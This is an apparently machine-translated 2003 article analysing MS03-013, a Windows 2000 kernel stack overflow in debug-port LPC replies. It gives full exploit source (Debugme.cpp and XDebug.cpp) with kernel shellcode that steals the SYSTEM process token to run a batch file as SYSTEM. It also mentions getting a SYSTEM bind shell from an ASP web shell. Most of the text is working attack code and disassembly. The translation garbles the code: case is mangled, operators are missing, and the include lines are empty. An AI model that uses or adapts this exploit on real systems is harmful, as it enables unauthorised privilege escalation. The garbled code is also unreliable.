A little study on Windows 2000 Kernel Exploit
Creation time: 2003-06-03
Article attribute: original
Article submission:
Eyas (EY4S_AT_21CN.COM)
A little study on Windows 2000 Kernel Exploit
EY4S
2003-05-23
The following is a little experience in studying the vulnerabilities announced by MS03-013, which may have a lot of mistakes, please advise. This article
And some things have not been explained in detail, such as KPEB, TEB, etc., you can refer to the reference resources mentioned later herein. Write this article
The purpose of the chapter is the right to note, one is to tell the masters to pointed out the mistake, two for reading.
- = - = - = - The first partial example analysis - = - = - = -
MS released a safety announcement MS03-013 in 2003-04-16, as follows:
The Vulnerability EXISTS in The Kernel Debugging Support Code That Delivers Debug
Events to the user mode debugger. Malicious User Mode Debugger Would Send a Large Reply
To the Kernel, Which Results in a stack overflow.
According to the practice, the security announcement of MS will not provide technical details, but there is no technical details on the website of the vulnerability discovery, others
There is no relevant information in the local place, so I can only track the analysis. I spent a long time, I finally reappeared this vulnerability.
Background knowledge: User-mode debuger workflow
<1> DEBUGER Creates a new process, or ATTACH a running process. We call this process B.
<2> DEBUGER Waiting Process B Generates Debug Event
<3> Process B generates a Debug event, send a message to the Debuger, the process hangs, waiting for the DEBUGER directive.
<3> DEBUGER handles the debug event, send a message to the process B.
<4> Process B accepts the message sent by DEBUGER, and the process recovers.
<5> Circulation 2-4
The message delivery is made through the LPC PORT, and the process is as follows:
Debuger <-> kernel <-> Process B
The message structure mentioned above is as follows:
Typedef struct _debug_message
{
Port_Message Port_msg;
Debug_event debugevent;
} Debug_message, * pdebug_message;
Typedef struct _port_message
{
Ushort DataSize; // Data Length
Ushort messagesize; // Total length
Ushort MessageType;
Ushort DataInfooffset;
Client_id clientid;
Ulong MessageId;
Ulong sectionsize;
// uchar data [];
} Port_message, * pport_message;
There are several simple user-mode debuger source code in / Microsoft SDK / Samples / WinBase / Debug directory. You can refer to it.
Combine the content and background knowledge of the safety announcement, I think you already know how to reproduce this vulnerability.
<> Debuger Send Large reply -> kernel
<> kernel delivers reply -> Process B
When Kernel handles this malicious reply, overflows happened.
Note: When overflow occurs, the path where the CPU is-> running in the kernel space, associated with process B.
OK! Let's take a look at the disassembled code to see how the overflow happened.
First, the replend length sent by the DEBUGER is limited, let's take a look:
// DATA length is less than or equal to the total length -0x18
Ntreplyport 0x4D
0008: 8049DC89 PUSH 06
0008: 8049DC8B POP ECX
0008: 8049DC8C MOV ESI, [EBP 0C] // Reply Message Address
0008: 8049DC8F Lea EDI, [EBP-3C]
0008: 8049dc92 repz Movsd
0008: 8049dc94 or DWORD PTR [EBP-04], - 01
0008: 8049DC98 MOVSX EAX, Word PTR [EBP-3C] // Take Message Datasize
0008: 8049DC9C Add Eax, 18
0008: 8049dc9f MovsX ECX, Word PTR [EBP-3A] // Take Message Totalsize
0008: 8049DCA3 CMP EAX, ECX / / Decision DataSize 0x18 is greater than Totalsize
0008: 8049dca5 ja 804eee93
// Reply's total length cannot exceed 0x148
0008: 8049dcd3 MOV AX, [EBP-3A] // Take Message Totalsize
0008: 8049dcd7 Movsx EDX, AX
0008: 8049dcda MOV ECX, [EBP-20]
0008: 8049dcdd CMP EDX, [ECX 34] / / [ECX 34] content is 0x148
0008: 8049DCE0 JA 804EEF82
Therefore, the total length can only be 0x148 bytes, and DATA can only be 0x130 bytes, but this is enough to trigger the kernel stack overflow.
Then Keernel will call _dbgkpsendapimimage to process the reply_msg sent by our Debuger, and the function call relationship is as follows:
DBGKPSENDAPIMESSAGE
| _ LpcRequestWaitrePortPort
| _80433399
| _ Lpcpmovemessage <- kernel stack bufferflow
_DBGKPSENDAPIMESSAGE (Argv1, Argv2, Argv3)
_DBGKPSENDAPIMESSAGE
0008: 8052CF45 Push EBP
0008: 8052CF46 MOV EBP, ESP
0008: 8052CF48 SUB ESP, 00000100 // Assign 0x100 byte memory from STACK
......
0008: 8052CF5E MOV ESI, [EBP 08]
......
0008: 8052CF78 Lea Eax, [EBP-0100] 0008: 8052CF7E PUSH EAX
0008: 8052CF7F Push ESI
0008: 8052CF80 Push DWORD PTR [EBP 0C]
0008: 8052cf83 call _lpcRequestWaitrePort
......
0008: 8052CFBA RET 000c
_LPCRequestWaitreport (Argv3, Argv2, Stack_BUFF)
_LPCRequestWaitrePort
0008: 8049cfd3 push 00
0008: 8049CFD5 Push DWORD PTR [ESP 10]
0008: 8049cfd9 push dword PTR [ESP 10]
0008: 8049cfdd Push DWORD PTR [ESP 10]
0008: 8049cfe1 Call 80433399
0008: 8049CFE6 RET 000c
80433399 (Argv3, Argv2, Stack_Buff, 0)
80433399 0x3da
0008: 80433773 MOV ESI, [EBP 0C]
【0008: 80433776 xor EDI, EDI
0008: 80433778 Push EDI
0008: 80433779 Push EDI
0008: 8043377a Lea Eax, [ESI 30]
0008: 8043377D PUSH EAX
0008: 8043377E Lea EAX, [ESI 18]
0008: 80433781 Push EAX
0008: 80433782 Push DWORD PTR [EBP 10]
0008: 80433785 Call _lpcpmoveMestage
_LPCPMoveMessage (stack_buff, argv2 18, argv2 0x30)
_LPCPMoveMESSAGE
0008: 80402276 PUSH ESI
0008: 80402277 Push EDI
0008: 80402278 MOV EDI, [ESP 0C]
0008: 8040227C CLD
0008: 8040227D MOV ESI, [ESP 10]
0008: 80402281 LODSD
0008: 80402282 Stosd
0008: 80402283 Lea ECX, [EAX 03] / / get DATASIZE
0008: 80402286 and ECX, 0000FFFC // Take 4 integers, remove the remainder, such as 0x121 -> 0x120
0008: 8040228C SHR ECX, 02 // DataSize divided 4
0008: 8040228F LODSD
0008: 80402290 MOV EDX, [ESP 18]
0008: 80402294 OR EDX, EDX
0008: 80402296 JZ 8040229B
0008: 80402298 MOV AX, DX
0008: 8040229B StOSD
0008: 8040229c MOV EDX, [ESP 1C]
0008: 804022A0 or EDX, EDX
0008: 804022A2 JZ 804022B00008: 804022A4 MOV EAX, [EDX]
0008: 804022A6 Stosd
0008: 804022A7 MOV EAX, [EDX 04]
0008: 804022AA STOSD
0008: 804022AB Add ESI, 08
0008: 804022AE JMP 804022B2
0008: 804022B0 MOVSD
0008: 804022B1 MOVSD
0008: 804022B2 MOVSD
0008: 804022B3 MOVSD
0008: 804022B4 MOV ESI, [ESP 14]
0008: 804022b8 Rez movsd // No STACK Buffer size, all of our sending data all COPY to STACK
0008: 804022BA POP EDI
0008: 804022BB POP ESI
0008: 804022BC RET 0014
- = - = - = - Several problems need to be solved in the second part of Exploit - = - = - = -
First, determine the RETLOC address.
You can know in the disassembly code from the first part, the return address of the function is at STACK_BUFF 0x104.
Second, determine the RetadDR address.
Because the overflow occurs, the process B is associated, so shellcode is placed directly in the process B space, and the process B is in its process.
The address of the shellcode is passed to the Debuger, then the debuger is sent to the buffer structure of the Kernel as follows:
| ... NOP ... | realcode_addr | shellcode_addr | NOP (0xc) | ESP | CS | DS | ES |
Realcode_addr overrides the EBP and Realcode's functionality is the recovery register FS, run Ey4S.bat with System permissions.
Shellcode_addr overrides the return address of the DBGKPSENDAPIMessage function, the function of Shlcode is to improve permissions, from the core
Status returns the application state.
Because the function DBGKPSENDAPIMESSAGE is returned, it is RET 0XC, so 0xC NOP is filled.
Then follow, is the register value that returns the application of the process B should correspond.
Third, improve the permissions.
Obviously, Process B is run as a normal user, so the purpose of this vulnerability is to improve permissions, so
The core state returns advance permission before the application. In the UNIX platform, you can modify the UID of the current process to 0 to achieve the purpose of lifting permissions. in
A similar approach can also be used in the Windows platform, but not modifying the UID (because Windows has no UID concept), but modify the current
The access token of the process, ready-to-TOKEN. I started to use the way to modify the list of privileges in token, such as adding Debug privileges, but this
If you want to return to the application state, you want to get SYSTEM privileges. There are still many places that can be modified, such as Owner SID, and more.
Finally, I decided to use the simplest and most effective way to replace the TOKEN of the current process with the SYSTEM process so that our process is
Have the highest authority.
In the Windows 2000 platform:
When running in the kernel mode, fs: [0x124] always points to the Teb of the current thread, [TEB 0x44] always points to the current process
KPEB. In [KPEB 0x12C] is stored in the current process to Token. KPEB in each process in the system is coupled by a ring chain table.
So you can find the KPEB of other processes through the KPEB of the current process. The implementation code is as follows:
/ / Get the KPEB address of the current process
Mov Eax, FS: [0x124]
Mov ESI, [EAX 0x44]
MOV EAX, ESI
/ * Search the KPEB address of the SYSTEM process * /
// Get the KPEB of the next process
Search:
Mov Eax, [EAX 0xA0]
Sub eax, 0xa0
CMP [EAX 0x9c], 0x8 // Judgment from PID Is System Process
JNE Search
Mov Eax, [EAX 0x12c] // Get the Token with the System process
MOV [ESI 0x12C], Eax // Modify the current process token
Fourth, from the kernel state correctly return to the application
After the overflow occurs, our shellcode is controlled and should return the interrupt call after upgrading the permissions, and the system will not crash. because
To cover us the return address of the core function DBGKPSENDAPIMESSAGE, so that the interrupt call is returned to this task only let us own
Come. To restore the value of some registers before returning, so our realcode in the process B can be correct after returning the application state.
Continue to run. When the interrupt is returned, the data structure in the stack is as follows:
Memory high places
| ?????? |
| DS | <- Returns the DS after the application state
| ESP | <- Returns the ESP after the application state
| eflags | <- Return to the Flags after the application state
| CS | <- Returns the CS after the application state
| EIP | <- Returns the application after the application
Memory low plan top
We construct this data yourself, then let ESP points to this data, then call IRETD from the core state to return to the application. but,
It seems that there is a problem after returning, and maybe the parameter is not set. Still searching for these parameters insurance from memory.
- = - = - = - Part III Exploit - = - = - = -
/ * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------
Debugme.cpp
Written by EY4S
Cooleyas@21cn.com
2003-05-23
-------------------------------------------------- ----------------- * /
#include
#include
#pragma pack (1)
Typedef struct _someInfo
{
DWORD DWNUM;
DWORD DWREALCODE;
DWORD DWSHELLCODE;
DWORD DW [3];
DWORD DWESP;
DWORD DWCS;
DWORD DWDS;
DWORD DWES;
} SomeInfo, * psomeInfo;
UNSIGNED Char shellcode [512];
UNSIGNED Char Realcode [512];
DWORD DWFS;
Handle HPROCESS;
DWORD DWRUN;
SomeInfo Si;
Void shellcodefnlock ();
Void realcodefnlock ();
Void getShellcode (unsigned char * pdst, int isize, byte * psrc);
Void CreateNewProcess () {
STARTUPINFO SI = {SIZEOF (SI)};
Process_information pi;
CreateProcess (NULL, "Ey4s.bat", NULL, NULL,
True, Create_new_console, Null, Null, & Si, & Pi;
exit (0);
}
void main ()
{
HModule H;
DWORD DWESP, DWCS, DWDS, DWES
/ / Save the register value
__ASM
{
Mov DweeSp, ESP
Sub dwesp, 0x100
Push CS
POP EAX
And Eax, 0xffff
MOV DWCS, EAX
Push DS
POP EAX
And Eax, 0xffff
Mov DWDS, EAX
Push ES
POP EAX
And Eax, 0xffff
Mov Dwes, EAX
Push fs
POP EAX
And Eax, 0xffff
MOV DWFS, EAX
}
// get shellcode
Getshellcode (shellcode, Sizeof (shellcode), (Byte *) shellcodefnlock);
GetShellcode (Realcode, Sizeof (Realcode), (Byte *) Realcodefnlock);
// Pass some information to Debuger
DWRun = (DWORD) & CreateNewProcess;
Si.dwnum = sizeof (si) / sizeof (dword) -1;
Si.dwreatalcode = (dword) & realcode;
Si.dwshellcode = (dword) & shellcode;
Si.dwesp = dwesp;
Si.dwcs = dwcs;
Si.dwds = dwds;
Si.dwes = dwes;
Printf ("shellcode 0x% .8x / n"
"realcode 0x% .8x / n"
"ESP =%. 8X CS = 0x% x DS = 0x% x ES = 0x% x fs = 0x% x / n",
Si.dwshellcode, si.dwrealcode, si.dweesp,
Si.dwcs, Si.dwds, Si.dwes, DWFS;
RaiseException (0x1981, 0, sizeof (si) / sizeof (dword), (DWORD *) & SI);
/ / Trigger Load DLL and Free DLL events
While (1)
{
// Printf (".");
H = loadingLibrary ("ws2_32.dll");
Sleep (1000);
Freelibrary (h);
Sleep (1000);
}
}
Void shellcodefnlock ()
{
_asm
{
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
/ * START Here * /
/ * -------- Improve permission -------- * /
/ / Get the KPEB address of the current process
Mov Eax, FS: [0x124]
Mov ESI, [EAX 0x44]
MOV EAX, ESI
/ * Search the KPEB address of the SYSTEM process * /// get the KPEB of the next process
Search:
Mov Eax, [EAX 0xA0]
Sub eax, 0xa0
CMP [EAX 0x9c], 0x8 // Judgment from PID Is System Process
JNE Search
Mov Eax, [EAX 0x12c] // Get the Token with the System process
MOV [ESI 0x12C], Eax // Modify the current process token
/ * ------------ From the core state back to the application ------------- * /
/ / Save ESP
MOV ESI, ESP
/ / Search the parameters required by IRETD
MOV EAX, ESP
Add Eax, 0x10 // Skip our data
NEXT:
Add Eax, 0x4
Mov EBX, [EAX]
CMP EBX, [ESI 0x4] // CS Linux system is 0x23, Win2k seems to be 1B
JNE NEXT
//
Sub eax, 0x4 // At this time, EAX points to the start address of the required parameter to IRETD.
MOV ESP, EAX
MOV [EAX], EBP // EBP is the address of Realcode, setting the start address of the REALCODE after returning
Add Eax, 0xC
// Set the ESP after returning to the application
MOV EBX, [ESI]
MOV [EAX], EBX
// Restore register value
Push [ESI 0x8]
POP DS
Push [ESI 0xC]
POP ES
// Return to the application state
IRETD
/ * end here * /
INT 3
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
Void realcodefnlock ()
{
_asm
{
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
/ * START Here * /
Push dwfs
POP FS
// Call Our Function
Call dwrun
/ * end here * /
INT 3
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
Void getShellcode (unsigned char * pdst, int isize, byte * psrc)
{
UNSIGNED CHAR TEMP;
UNSIGNED Char * shellcodefnadd, * st;
INT LEN, K;
Char * fnendstr = "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90";
#define fnendlong 0x08
/ * Positioning ShellCodefnlock assembly code * /
Shellcodefnadd = psrc;
Temp = * shellcodefnadd;
IF (Temp == 0xe9)
{
shellcodefnadd;
K = * (int *) shellcodefnadd;
Shellcodefnadd = K;
Shellcodefnadd = 4;
}
For (k = 0; k <= 0x500; K)
IF (Memcmp (Shellcodefnadd K, Fnendstr, Fnendlong) == 0)
Break;
/ * shellcodefnadd K 8 is the resulting shellcodefnlock assembly code address * / len = 0;
Start = shellcodefnadd k 8;
// LEN = 2 * WCSLEN (shellcodefnadd k 8);
While (Byte) Start [Len]! = (byte) '/ XCC')
{
PDST [len] = start [len];
Len ;
IF (len> = isize-1) Break;
}
// Memcpy (shellcode, shellcodefnadd k 8, len);
PDST [LEN] = '/ 0';
}
/ * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------
XDebug.cpp
Written by EY4S
Cooleyas@21cn.com
2003-05-23
-------------------------------------------------- ----------------- * /
#include
#include
#define offset 0x100 0x4-0x6 * 4
Typedef enum _processinfoclass {
ProcessDebugport = 7 // 7 y y
} ProcessInfoclass;
Typedef struct _unicate_string {
Ushort Length;
Ushort maximumlength;
PWSTR BUFFER;
} Unicode_string, * punicode_string;
TypedEf struct _client_id
{
Handle uniqueprocess;
Handle uniqueethread;
} Client_ID, * pClient_ID, ** PPClient_ID;
Typedef struct _lpc_message
{
Ushort DataSize;
Ushort Messagesize;
Ushort MessageType;
Ushort DataInfooffset;
Client_id clientid;
Ulong MessageId;
Ulong sectionsize;
// uchar data [];
} LPC_Message, * PLPC_MESSAGE;
Typedef struct _object_attributes
{
DWORD Length;
Handle rootdirectory;
Punicode_String ObjectName;
DWORD Attributes;
PVOID SecurityDescriptor;
Pvoid SecurityQualityOfService;
} Object_attributes, * pobject_attributes, ** ppObject_attribute;
Typedef
DWORD
(Callback * Ntcreateport)
Out phaldle porthandle, in pobject_attributes objecttributes,
In Ulong MaxConnectInfolength,
In Ulong MaxDatales,
In out pulong reserved optional;
Typedef
DWORD
(Callback * ntreplywaitrecViveport)
In Handle PortHandle,
Out Phandle Receiveporthandle Optional,
IN PLPC_MESSAGE Reply Optional,
OUT PLPC_MESSAGE INCOMINGREQUEST
Typedef
DWORD
(Callback * ntreplyport)
In Handle PortHandle,
IN PLPC_MESSAGE Reply);
Typedef
DWORD
(Callback * NtsetInformationProcess) (
In Handle ProcessHandle,
In ProcessInfoclass ProcessInformationClass,
In Pvoid ProcessInformation,
In Ulong ProcessinformationLength;
Typedef struct _debug_message
{
LPC_MESSAGE Port_MSG;
Debug_event debugevent;
} Debug_message, * pdebug_message;
NTSetInformationProcess NtsetInformationProcess;
NtrePlyWaitRecviveport NtrePlywaitreceport;
NTCreateport ntcreateport;
Ntreport ntreport;
Template
Uchar data [i];
}
Process_information pi;
int main ()
{
HModule HNTDLL;
DWORD DWADDRLIST [9];
Bool bexit = false;
DWORD DWRET;
Handle Hport;
INT K = 0;
Debug_message dm;
Object_attributes OA = {SizeOf (OA)};
Port_Messagex <0x130> PortReply;
STARTUPINFO SI = {SIZEOF (SI)};
Printf ("/ NXDebug -> Windows Kernel Exploit for MS03-013 / N"
"Written by EY4S
"2003-05-23 / N / N");
// Get Native API Address
HNTDLL = LoadLibrary ("NTDLL.DLL");
IF (hntdll == null)
{
Printf ("LoadLibrary Failed:% D / N", getLastError ());
Return 0;
}
NtrePlyWaitRecePort = (NtrePlyWaitRecViveport)
GetProcaddress (HNTDLL, "NTREPLYWAITRECEPORT");
Ntcreateport = (NTCReateport)
GetProcadDress (HNTDLL, "NTCReateport");
Ntreplyport = (ntreplyport)
GetProcaddress (HNTDLL, "NTReplyport");
NtsetInformationProcess = (NtsetInformationProcess)
GetProcaddress (HNTDLL, "NTSETINFORMATIONPROCESS");
// Create Port
DWRET = NTCREATEPORT (& Hport, & OA, 0, 0x148, 0);
IF (dwret! = 0)
{
Printf ("CREATE HPORT FAILED. RET =%. 8x / N", DWRET;
Return 0;
}
// CREATE Process
IF (! CreateProcess (0, "Debugme.exe", NULL, NULL, TRUE,
Create_suspended, 0, 0, & Si, & Pi))
{
Printf ("CreateProcess Failed:% D / N", getLastError ());
Return 0;
}
// set Debug Port
Dwret = NtsetInformationProcess (Pi.hprocess, ProcessDebugport,
& HPORT, SIZEOF (HPORT);
IF (dwret! = 0)
{
Printf ("SET Debug Port Error:%. 8x / N", DWRET);
Return 0;
}
//printf ("piD :0X%.8x% D hport = 0x% .8x / n", pi.dwprocessid, pi.dwprocessid, hport;
ResumeThread (pi.hthread);
While (True)
{
MEMSET (& DM, 0, SIZEOF (DM);
NtrePlyWaitReceport (Hport, 0, 0, & DM.Port_MSG);
K ;
Switch (DM.Debugevent.dwdebugeventcode 1)
{
Case exception_debug_event:
Printf ("Debug_Event -> EXCEPT / N");
IF (DM.Debugevent.u.exception.exceptionRecord.NumberParameters == 9)
{
Memcpy (UNSIGNED Char *) & dwaddrlist,
(unsigned char
*) & DM.Debugevent.u.exception.exceptionRecord.exceptioninformation,
SIZEOF (DWADDRLIST);
/ * int N;
For (n = 0; n <6; n )
Printf ("%. 8x / n", dwaddrlist [n]); * /
}
Break;
Case Create_thread_debug_event:
Printf ("Debug_Event -> CREATE THREAD / N");
Break;
Case Create_Process_Debug_event:
Printf ("Debug_Event -> CREATE Process / N");
Break;
Case EXIT_THREAD_DEBUG_EVENT:
Printf ("Debug_Event -> EXIXT THREAD / N");
Break;
Case EXIT_PROCESS_DEBUG_EVENT:
Printf ("Debug_Event -> EXIT Process / N");
BEXIT = True;
Break;
Case Load_dll_debug_event:
Printf ("Debug_Event -> Load DLL / N");
Break;
Case unload_dll_debug_event:
Printf ("Debug_Event -> Unload DLL / N");
Break;
Case Output_debug_string_event:
Printf ("Debug_Event -> Debug String / N");
Break;
} // end of switch
// Printf ("k =% D / N", K);
IF (k == 10)
{
// Printf ("************ / n");
// Sleep (4 * 1000);
MEMSET (& portReply, 0, sizeof (portreply));
Memcpy (& PortReply, & DM, SIZEOF (DM));
PortReply.Messagesize = 0x148;
PortReply.DataSize = 0x130;
Memset (& PortReply.Data, 'a', sizeof (portreply.data));
Memcpy (& PortReply.Data [offset-4], & dwaddrlist, sizeof (dwaddrlist));
DWRET = NTREPLYPORT (HPORT, & PortReply);
IF (dwret == 0)
Printf ("Send Shellcode to Ntoskrnl Completed!"
"Wait for EXIT./N");
Else
Printf ("NtReply Err:%. 8x / N", DWRET);
}
Else
NTReplyport (HPORT, & DM.PORT_MSG);
IF (bexit) Break;
} // end of while
Return 0;
}
Compile XDebug.cpp and debugme.cpp, put it under the same directory, create an EY4S.BAT, then run xdebug.exe, success
The EY4S.BAT will be run with System authority.
- = - = - = - Part 4 Others - = - = - = -
Personally, KERNEL Exploit and User-Mode Exploit differ in that KERNEL EXPLOIT should do more things:
<1> Enhance the permissions. Of course, if the associated process is already System, or Admin privilege, it is not necessary to improve the permissions.
<2> From the core state correctly returns the application, including the recovery register value, the search returns the required parameters. Other differences have nothing to do with User-Mode Exploit.
In the process, refer to a large number of books, information, thank the author!
References:
<>
http://elhack.whitecell.org/ linux_kernel_exploit_rd by alert7
<>
http://person.okey.net/~webcrazy/Webcrazy
<>
http://www.chapeaux-nogrs.org crazylord
Books:
* Windows NT / 2000 Native API REFERENCE
* INSIDE Microsoft Windows 2000, Third Edition
- = - = - = - The fifth part after the report - = - = - = -
The above EXP can only be successful in the following cases:
<> When logging in, running directly
<> When logging in to log in, run xdebug as a normal user
Can't be used:
<> asp shell
The reason for the failure in the ASP shell is quite strange, and it is trying to solve it, it should be a problem that can be solved. In the improved version, the ASP shell can be called to bind the shell as a System, and can be connected to execute the built-in command of CMD.exe, you can run some programs such as WHOAMI.exe, but run net.exe, ping.exe, etc. Failure, the error message is 0xC0000142.